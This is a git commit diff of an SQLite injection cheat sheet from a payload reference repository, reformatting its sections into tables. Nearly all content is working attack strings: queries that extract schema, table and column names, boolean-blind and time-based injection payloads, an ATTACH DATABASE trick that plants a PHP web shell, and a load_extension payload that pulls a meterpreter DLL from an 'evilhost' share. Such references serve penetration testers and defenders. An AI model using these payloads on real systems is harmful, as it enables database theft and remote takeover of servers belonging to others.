mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-30 14:40:28 -08:00
MSSQL, OracleSQL, PostgreSQL Substring Equivalent
This commit is contained in:
@@ -7,15 +7,14 @@
|
||||
|
||||
* [SQLite Comments](#sqlite-comments)
|
||||
* [SQLite Version](#sqlite-version)
|
||||
* [String Based - Extract Database Structure](#string-based---extract-database-structure)
|
||||
* [Integer/String Based - Extract Table Name](#integerstring-based---extract-table-name)
|
||||
* [Integer/String Based - Extract Column Name](#integerstring-based---extract-column-name)
|
||||
* [Boolean - Count Number Of Tables](#boolean---count-number-of-tables)
|
||||
* [Boolean - Enumerating Table Name](#boolean---enumerating-table-name)
|
||||
* [Boolean - Extract Info](#boolean---extract-info)
|
||||
* [Boolean - Error Based](#boolean---error-based)
|
||||
* [Time Based](#time-based)
|
||||
* [Remote Code Execution](#remote-code-execution)
|
||||
* [SQLite String](#sqlite-string)
|
||||
* [SQLite String Methodology](#sqlite-string-methodology)
|
||||
* [SQLite Blind](#sqlite-blind)
|
||||
* [SQLite Blind Methodology](#sqlite-blind-methodology)
|
||||
* [SQLite Blind With Substring Equivalent](#sqlite-blind-with-substring-equivalent)
|
||||
* [SQlite Error Based](#sqlite-error-based)
|
||||
* [SQlite Time Based](#sqlite-time-based)
|
||||
* [SQlite Remote Code Execution](#sqlite-remote-code-execution)
|
||||
* [Attach Database](#attach-database)
|
||||
* [Load_extension](#load_extension)
|
||||
* [References](#references)
|
||||
@@ -23,10 +22,11 @@
|
||||
|
||||
## SQLite Comments
|
||||
|
||||
```sql
|
||||
--
|
||||
/**/
|
||||
```
|
||||
| Type | Description |
|
||||
|----------------------------|-----------------------------------|
|
||||
| `/* SQLite Comment */` | C-style comment |
|
||||
| `--` | SQL comment |
|
||||
|
||||
|
||||
## SQLite Version
|
||||
|
||||
@@ -34,82 +34,54 @@
|
||||
select sqlite_version();
|
||||
```
|
||||
|
||||
## SQLite String
|
||||
|
||||
## String Based - Extract Database Structure
|
||||
### SQLite String Methodology
|
||||
|
||||
```sql
|
||||
SELECT sql FROM sqlite_schema
|
||||
```
|
||||
if sqlite_version > 3.33.0
|
||||
```sql
|
||||
SELECT sql FROM sqlite_master
|
||||
```
|
||||
| Description | SQL Query |
|
||||
| ----------------------- | ----------------------------------------- |
|
||||
| Extract Database Structure | `SELECT sql FROM sqlite_schema` |
|
||||
| Extract Database Structure (sqlite_version > 3.33.0) | `SELECT sql FROM sqlite_master` |
|
||||
| Extract Table Name | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'` |
|
||||
| Extract Column Name | `SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'` |
|
||||
| Extract Column Name | `SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');` |
|
||||
|
||||
|
||||
## Integer/String Based - Extract Table Name
|
||||
## SQLite Blind
|
||||
|
||||
```sql
|
||||
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
||||
```
|
||||
### SQLite Blind Methodology
|
||||
|
||||
| Description | SQL Query |
|
||||
| ----------------------- | ----------------------------------------- |
|
||||
| Count Number Of Tables | `AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table` |
|
||||
| Enumerating Table Name | `AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number` |
|
||||
| Extract Info | `AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')` |
|
||||
| Extract Info (order by) | `CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END` |
|
||||
|
||||
|
||||
## Integer/String Based - Extract Column Name
|
||||
### SQLite Blind With Substring Equivalent
|
||||
|
||||
```sql
|
||||
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
|
||||
```
|
||||
|
||||
For a clean output
|
||||
|
||||
```sql
|
||||
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
|
||||
```
|
||||
|
||||
Cleaner output
|
||||
|
||||
```sql
|
||||
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
|
||||
```
|
||||
| Function | Example |
|
||||
| ----------- | ----------------------------------------- |
|
||||
| `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` |
|
||||
| `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` |
|
||||
|
||||
|
||||
## Boolean - Count Number Of Tables
|
||||
|
||||
```sql
|
||||
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
|
||||
```
|
||||
|
||||
## Boolean - Enumerating Table Name
|
||||
|
||||
```sql
|
||||
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
|
||||
```
|
||||
|
||||
## Boolean - Extract Info
|
||||
|
||||
```sql
|
||||
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
|
||||
```
|
||||
|
||||
### Boolean - Extract Info (order by)
|
||||
|
||||
```sql
|
||||
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
|
||||
```
|
||||
|
||||
## Boolean - Error Based
|
||||
## SQlite Error Based
|
||||
|
||||
```sql
|
||||
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
|
||||
```
|
||||
|
||||
## Time Based
|
||||
|
||||
## SQlite Time Based
|
||||
|
||||
```sql
|
||||
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
```
|
||||
|
||||
|
||||
## Remote Code Execution
|
||||
## SQLite Remote Code Execution
|
||||
|
||||
### Attach Database
|
||||
|
||||
@@ -121,11 +93,12 @@ INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
|
||||
|
||||
### Load_extension
|
||||
|
||||
:warning: This component is disabled by default.
|
||||
|
||||
```sql
|
||||
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
|
||||
```
|
||||
|
||||
Note: By default this component is disabled.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
Reference in New Issue
Block a user